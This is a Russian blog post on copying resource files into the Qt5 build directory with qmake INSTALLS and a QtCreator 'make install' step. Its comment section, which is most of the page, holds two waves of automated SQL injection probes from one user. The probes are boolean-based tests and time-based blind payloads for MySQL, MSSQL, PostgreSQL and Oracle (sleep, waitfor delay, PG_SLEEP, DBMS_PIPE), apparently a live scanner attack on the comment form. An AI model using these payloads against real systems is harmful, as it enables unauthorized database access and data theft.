Qt5: скопировать после сборки файлы в build directory
Qt5 создаёт build directory рядом с source directory. Если Ваш проект считывает какие-либо файлы после запуска программы - их нужно положить в соответствующие директории. Qmake позволяет сделать это кроссплатформенно, создав цели для make install.
Итак, в файле проекта *.pro добавьте такие строки:
- install_it.path = $$OUT_PWD
- install_it.files += $$PWD/html
- INSTALLS += install_it
Этот код инициализирует массив install_it, который заполняется переменной директории сборки ($$OUT_PWD) и переменной с директорией исходных кодов Вашего проекта ($$PWD).
В итоге скопируется директория html, лежащая в директории с исходными кодами.
Про остальные переменные, коими обладает qmake, можно почитать здесь.
Далее нужно попросить QtCreator запускать make install после сборки проекта.
- Найдите на главной панели слева вкладку "Projects".
- В появившемся окне найдите раздел "Build Steps".
- В нём надо нажать на кнопку "Add Build Step".
- В выпавшем списке выбирайте пункт "Make".
- В поле "Make arguments" напишите install.

Вот собственно и всё!
nEcdyGgx 13 Augustа в 18:15 #
555
nEcdyGgx 13 Augustа в 18:17 #
555
nEcdyGgx 13 Augustа в 18:17 #
555
nEcdyGgx 13 Augustа в 18:18 #
555
nEcdyGgx 13 Augustа в 18:18 #
555
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 2+744-744-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 3+744-744-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 3*2>(0+5+744-744) --
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 2+944-944-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 3+944-944-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:18 #
-1 OR 3*2>(0+5+944-944)
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 2+773-773-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 3+773-773-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 3*2>(0+5+773-773) --
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 2+980-980-1=0+0+0+1 or '4toWjoU1'='
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 3+980-980-1=0+0+0+1 or '4toWjoU1'='
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:18 #
-1' OR 3*2>(0+5+980-980) or '4toWjoU1'='
nEcdyGgx 13 Augustа в 18:18 #
-1" OR 2+630-630-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:18 #
-1" OR 3+630-630-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:18 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:18 #
-1" OR 3*2>(0+5+630-630) --
nEcdyGgx 13 Augustа в 18:18 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:18 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:18 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:18 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:18 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:18 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:18 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:18 #
j1u420Rs'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:18 #
-5 OR 62=(SELECT 62 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:18 #
-5) OR 728=(SELECT 728 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:18 #
-1)) OR 345=(SELECT 345 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:18 #
I1qHNyBj' OR 456=(SELECT 456 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:18 #
ABBm2K5Y') OR 991=(SELECT 991 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:18 #
4FT23SrP')) OR 566=(SELECT 566 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:18 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:18 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:18 #
1'"
nEcdyGgx 13 Augustа в 18:18 #
@@mMitw
nEcdyGgx 13 Augustа в 18:37 #
555
nEcdyGgx 13 Augustа в 18:42 #
555
nEcdyGgx 13 Augustа в 18:42 #
555
nEcdyGgx 13 Augustа в 18:42 #
555
nEcdyGgx 13 Augustа в 18:43 #
555
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 2+76-76-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3+76-76-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2>(0+5+76-76) --
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 2+760-760-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3+760-760-1=0+0+0+1
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1 OR 3*2>(0+5+760-760)
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 2+818-818-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3+818-818-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2>(0+5+818-818) --
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 2+171-171-1=0+0+0+1 or 'T4gOR11Y'='
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3+171-171-1=0+0+0+1 or 'T4gOR11Y'='
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1' OR 3*2>(0+5+171-171) or 'T4gOR11Y'='
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 2+322-322-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 3+322-322-1=0+0+0+1 --
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 3*2
nEcdyGgx 13 Augustа в 18:43 #
-1" OR 3*2>(0+5+322-322) --
nEcdyGgx 13 Augustа в 18:43 #
if(now()=sysdate(),sleep(15),0)
nEcdyGgx 13 Augustа в 18:43 #
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
nEcdyGgx 13 Augustа в 18:43 #
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
nEcdyGgx 13 Augustа в 18:43 #
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nEcdyGgx 13 Augustа в 18:43 #
-1; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
-1); waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
1 waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
otnJ5sMa'; waitfor delay '0:0:15' --
nEcdyGgx 13 Augustа в 18:43 #
-5 OR 928=(SELECT 928 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
-5) OR 547=(SELECT 547 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
-1)) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
5vUPcsez' OR 359=(SELECT 359 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
9O6le8dT') OR 593=(SELECT 593 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
b5zZa4gd')) OR 656=(SELECT 656 FROM PG_SLEEP(15))--
nEcdyGgx 13 Augustа в 18:43 #
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nEcdyGgx 13 Augustа в 18:43 #
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nEcdyGgx 13 Augustа в 18:43 #
1'"
nEcdyGgx 13 Augustа в 18:43 #
@@eZIfn
nEcdyGgx 13 Augustа в 18:54 #
555
nEcdyGgx 13 Augustа в 18:54 #
555